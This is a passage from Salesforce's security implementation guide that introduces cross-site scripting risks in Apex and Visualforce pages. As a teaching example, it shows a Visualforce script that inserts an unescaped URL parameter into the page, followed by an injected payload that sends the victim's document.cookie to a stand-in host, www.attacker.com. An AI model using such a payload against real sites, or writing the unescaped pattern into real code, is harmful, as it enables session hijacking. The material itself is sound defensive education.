salesforce_security_impl_guide

CHAPTER 6
Security Tips for Apex and Visualforce
Development
Understanding Security
EDITIONS
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide
custom functionality and business logic to Salesforce or create a completely new stand-alone
product running inside the Force.com platform. However, as with any programming language,
developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself.
However, careless developers can still bypass the built-in defenses in many cases and expose their
applications and customers to security risks. Many of the coding mistakes a developer can make
on the Force.com platform are similar to general Web application security vulnerabilities, while
others are unique to Apex.
Available in: Group,
Professional, Enterprise,
Performance, Unlimited,
Developer, and
Database.com Editions
Visualforce is not available
in Database.com.
To certify an application for AppExchange, it is important that developers learn and understand the security flaws described here. For
additional information, see the Force.com Security Resources page on Salesforce Developers at
https://developer.salesforce.com/page/Security.
Cross-Site Scripting (XSS)
Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web
application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly
becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the
victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely
to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some
obvious possibilities include bulletin board or user comment-style websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce
page.
var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam :
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
100